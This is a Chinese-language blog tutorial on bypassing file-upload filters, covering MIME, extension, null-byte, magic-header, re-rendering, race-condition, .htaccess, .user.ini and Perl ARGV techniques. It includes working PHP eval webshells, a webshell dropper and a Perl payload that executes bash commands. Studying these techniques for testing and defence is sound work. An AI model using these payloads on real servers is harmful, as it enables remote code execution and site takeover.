文件上传漏洞~操作手册

news2025/1/10 20:20:50

目录

上传文件一般过滤方式

客服端校验

服务端校验

黑白名单机制

常规文件上传漏洞绕过

客户端绕过

1.游览器禁用JavaScript

2.正常burp suite抓包改包

服务端绕过

1.Content-Type绕过

2.黑名单绕过

1)命名规则绕过

2)大小写绕过

3)末尾空格绕过

4)末尾“.”绕过

5)文件末尾添加::$DATA绕过

6)双写绕过

3.白名单绕过

1)00截断(%00)绕过

2)文件头检测绕过

3)图片二次渲染绕过

4)条件竞争

特殊文件上传漏洞绕过

.htaccess绕过

fastcgi的.user.ini绕过


上传文件一般过滤方式

客服端校验

  • 使用JavaScript校验

服务端校验

  • 检查Content-Type (内容类型)
  • 检查后缀
  • 检查文件头

黑白名单机制

  • 黑名单:禁用上传的类型
  • 白名单:只允许上传指定类型

常规文件上传漏洞绕过

客户端绕过

1.游览器禁用JavaScript

2.正常burp suite抓包改包

服务端绕过

1.Content-Type绕过

文件扩展名

Mime-Type

.js

application/x-javascript

.html

text/html

.jpg

image/jpeg

.png

image/png

.pdf

application/pdf

只是检查一下文件的上传格式,mime校验

使用burp suite抓包改包就行

2.黑名单绕过

1)命名规则绕过

php中,默认状态下.php3、.php4、.php5、.phtml 都是会被解析为php。

尝试 .php1~.php9 ,.phps,.htaccess等后缀名。

2)大小写绕过

没有 strtolower()函数,说明不存在大小写过滤,因此可以考虑大小写绕过

比如:.Php、PHp、PHP、pHP、phP、PhP等。

3)末尾空格绕过

Linux:没有trim($file_ext)对首尾去空的函数,则可以在文件尾后面添加一个空格。

比如:'.php'过滤,则不会匹配'.php '结尾的文件,服务器仍然会正常解析。

4)末尾“.”绕过

Linux:没有deldot($file_name)删除文件名末尾的点函数,则可以在文件尾后面添加一个“.”。

比如:对于'.php'过滤,则不会过滤掉'.php.'文件。

5)文件末尾添加::$DATA绕过

在windows上,如果文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。(Windows文件流绕过)

比如:"phpinfo.php::$DATA",Windows会自动去掉末尾的::$DATA变成"phpinfo.php"。

6)双写绕过

在过滤一些字符时,有时只会过滤一次,可以写两次绕过。

或某些函数去除“.”和空格只去除一次,可以进行多写几个空格和“.”绕过

比如:.pphphp,从左往右匹配到第一个php时去掉变为.php,达到了绕过的目的

3.白名单绕过

1)00截断(%00)绕过

有些函数,会把字符的ascii码值为0,当做结束符

基于GET的00截断

基于POST的00截断

burp suite抓包改包,如:“1.phpa”,在Hex里改a的ASCII“61”为“00”

2)文件头检测绕过

有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件。

a.可以添加GIF89a

#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47

b.可以制作图片马

准备图片1.png与恶意脚本test.php。

cmd下执行下面代码,即可获取图片马。

copy 1.png/b+test.php test.png
# 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
copy 1.png/b+test.text/a test.png
# 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

3)图片二次渲染绕过

有的文件上传后,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。 所以二次渲染攻击最好用 gif 图片马。

将渲染后的图片和原图进行比较

找相同处,覆盖字符串,填写一句话木马或者恶意指令

原图片与渲染后的图片这个位置的字符串没有改变,在原图片这个位置替换,然后直接上传即可

4)条件竞争

上传-->保存-->检测-->删除

与删除函数竞争,在删除之前,能访问(执行)上传的文件。

上传的文件是一个能生成木马的文件,

比如文件test.php:<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[muma]);?>');?>

a.用burp suite持续上传文件(test.php)

b.用burp suite持续访问上传的文件(test.php)

c.getshell,连接muma.php

特殊文件上传漏洞绕过

.htaccess绕过

上传.htaccess文件,添加解析AddType application/x-httpd-php .jpg

例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析。

fastcgi的.user.ini绕过

.user.ini

GIF89a
auto_prepend_file=1.png

图片

1.png

GIF89a
<?=eval($_REQUEST['pass']); ?>

getshell

http://ip:port/xxx/xxx.php
pass

当 auto_prepend_file 配置启用后,PHP 在执行每个脚本之前会自动将指定的文件包含进来,作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作,以便在每个脚本中都能自动执行。

因此,我们可以传入.user.ini文件,通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件。

Perl文件上传

ARGV 安全漏洞

文件上传链接上传文件并把文件内容打印出来。猜想后台应该用了param()函数。

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
}

------WebKitFormBoundaryAhqteWA3ey7NaUBQ
Content-Disposition: form-data; name="file"; 
Content-Type: text/plain

ARGV
?/bin/bash%20-c%20ls${IFS}/|

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1009451.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jvm的调优工具

1. jps 查看进程信息 2. jstack 查看进程的线程 59560为进程id 产生了死锁就可以jstack查看了 详细用途可以看用途 3. jmap 如何使用dump文件看下 查看 4.jstat 空间占用和次数 5. jconsole可视化工具 各种使用情况&#xff0c;以及死锁检测 6. visualvm可视化工具…

如何使用ArcGIS Pro提取河网水系

DEM数据除了可以看三维地图和生成等高线之外&#xff0c;还可以用于水文分析&#xff0c;这里给大家介绍一下如何使用ArcGIS Pro通过水文分析提取河网水系&#xff0c;希望能对你有所帮助。 数据来源 本教程所使用的数据是从水经微图中下载的DEM数据&#xff0c;除了DEM数据&a…

导入发运地点wsh_locations

当客户上的地址变更之后&#xff0c;发运事务处理上的地址还是原来的地址&#xff0c;发运上的地址来源table wsh_locations. 解决办法&#xff1a;运行接口请求&#xff0c;导入发运地点&#xff0c;日期可以范围包括地点变更的日期。 请求完成后再次查看地址发现地址已变更…

iwebsec靶场 文件包含漏洞通关笔记10-data伪协议利用

目录 前言 1.data伪协议 2.使用条件 第10关 data://伪协议利用 1.打开靶场 2.源码分析 3.渗透 &#xff08;1&#xff09;明文渗透 &#xff08;2&#xff09;base64编码渗透 前言 1.data伪协议 data协议和input协议差不多&#xff0c;指定data是get方法&#xff0c;…

从零基础到精通Flutter开发:一步步打造跨平台应用

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 导言 Flutter是一种流行…

QLabel 显示圆图并且含有边框 border-image

在一个label上流动显示头像&#xff0c;并且不能遮挡边框&#xff08;如头像1-3&#xff09;&#xff0c;不想放两个label堆叠&#xff0c;所以最后采用了下述方法解决 1.设置边框还有图片 2.设置图片自适应 3.将头像切割成圆形 QPixmap pixmap QPixmap::fromImage(img); …

微信创建会员卡-47001错误

文档&#xff1a;1.新版会员卡介绍 | 微信开放文档 错误&#xff1a; 47001解析 JSON/XML 内容错误 接口&#xff1a; HTTP请求方式: POSTURL:https://api.weixin.qq.com/card/create?access_tokenACCESS_TOKEN 原因&#xff1a; 参数设置错误&#xff1a;["swipe_car…

JavaScript的基本数据类型如何使用?

JavaScript中的数据类型分为两大类&#xff0c;分别是基本数据类型和复杂数据类型(或称为引用数据类型)&#xff0c;如图所示。 本节重点讲解基本数据类型。下面我们用代码演示基本数据类型的使用。 (1)数字型(Number)&#xff0c;包含整型值和浮点型值: var numl 21; …

清华智能体宇宙火了;主流大语言模型的技术原理细节

&#x1f989; AI新闻 &#x1f680; 清华智能体宇宙火了 摘要&#xff1a;清华大学联合北邮、微信团队推出了AgentVerse&#xff0c;这是一个可以轻松模拟多智能体宇宙的环境。它专为大语言模型开发&#xff0c;智能体可以利用LLM能力完成任务。AgentVerse提供了几个示例环境…

谷歌翻译API接口,翻译API接口,翻译API接口申请指南

Google翻译API是一种可以在多个平台上使用的Web服务&#xff0c;通过使用该API&#xff0c;用户可以将任何文本转换成多种语言&#xff0c;同时也可以将多种语言转换成用户指定的语言。目前Google翻译API支持超过100种语言&#xff0c;涵盖了全球范围内的所有主流语言。 Googl…

gradio的基础教程

接口 gradio.Interface(fn, inputs, outputs, ) 描述 界面是Gradio的主要高级类&#xff0c;允许您在几行代码中围绕机器学习模型&#xff08;或任何Python函数&#xff09;创建基于Web的GUI /演示。您必须指定三个参数&#xff1a;&#xff08;1&#xff09; 为 &#xff08;…

怎么科学管理固定资产呢

在当今的商业环境中&#xff0c;固定资产的管理是企业成功的关键因素之一。然而&#xff0c;传统的固定资产管理方法往往过于繁琐&#xff0c;缺乏创新&#xff0c;导致资源的浪费和效率的低下。因此&#xff0c;我们需要一种新的、更加科学的方法来管理我们的固定资产。本文将…

QT基础教程(GUI程序原理分析)

文章目录 前言一、命令行应用程序的特点二、图形界面应用程序的特点三、图形界面程序适用场景总结 前言 本篇文章正式带大家开始学习QT基础部分的内容&#xff0c;后面将更新一套完整的QT教程&#xff0c;包括QT基础&#xff0c;QT进阶&#xff0c;QT项目&#xff0c;QT企业级…

webpack打包速度优化

优化WebPack打包速度 在开发过程中&#xff0c;WebPack的打包速度是一个非常重要的考虑因素。随着项目规模的增长&#xff0c;打包时间也会越来越长&#xff0c;影响开发效率和用户体验。本文将循序渐进地介绍一些优化WebPack打包速度的方法&#xff0c;先分析打包瓶颈&#x…

ARM Linux DIY(九)陀螺仪调试

前言 今天调试六轴陀螺仪 MPU6050 硬件 硬件很简单&#xff0c;使用 I2C 接口&#xff0c;并且没有使用中断引脚。 焊接上 MPU6050 芯片和上拉电阻、滤波电容。 检测 MPU6050 是挂在 I2C-0 上的&#xff0c;I2C-0 控制器的驱动已 OK&#xff0c;所以直接使用 I2C-0 检测 …

hive工具-zeppelin部署

zeppelin部署 解压安装包至/opt/soft 并改名 /etc/proofile中配置环境变量并source生效 #ZEPPELIN export ZEPPELIN_HOME/opt/soft/zeppelin010 export PATH$ZEPPELIN_HOME/bin:$PATH &#xff08;1&#xff09;conf目录下拷贝一份初始配置文件 [rootkb129 conf]# pwd /opt/s…

Springboot传输数据时日期格式化

使用swagger测试数据时 第一种在实体类属性值上加入 这种方式简单&#xff0c;但是只能为单纯这个类&#xff0c;每个类上要使用都必须加 JsonFormat(pattern "yyyy-MM-dd HH:mm:ss")private LocalDateTime createTime;JsonFormat(pattern "yyyy-MM-dd HH:m…

树、二叉树概念(+堆的实现)

欢迎来到我的&#xff1a;世界 希望作者的文章对你有所帮助&#xff0c;有不足的地方还请指正&#xff0c;大家一起学习交流 ! 目录 前言1.树的概念2.二叉树概念及结构2.1数据结构中的二叉树2.2两个特殊的二叉树2.2.1满二叉树结点和层数的关系2.2.2完全二叉树高度为H节点范围 …

【python绘图—colorbar操作学习】

文章目录 Colorbar的作用Colorbar的操作截取cmap拼接cmap双刻度列colorbar 引用 Colorbar的作用 Colorbar&#xff08;颜色条&#xff09;在绘图中的作用非常重要&#xff0c;它主要用于以下几个方面&#xff1a; 表示数据范围&#xff1a; Colorbar可以显示图中的颜色映射范围…

基于PHP的医药博客管理系统

有需要请加文章底部Q哦 可远程调试 基于PHP的医药博客管理系统 一 介绍 此医药博客系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。用户可注册登录&#xff0c;查看/评论/搜索博客&#xff0c;建议留言。管理员可对用户&a…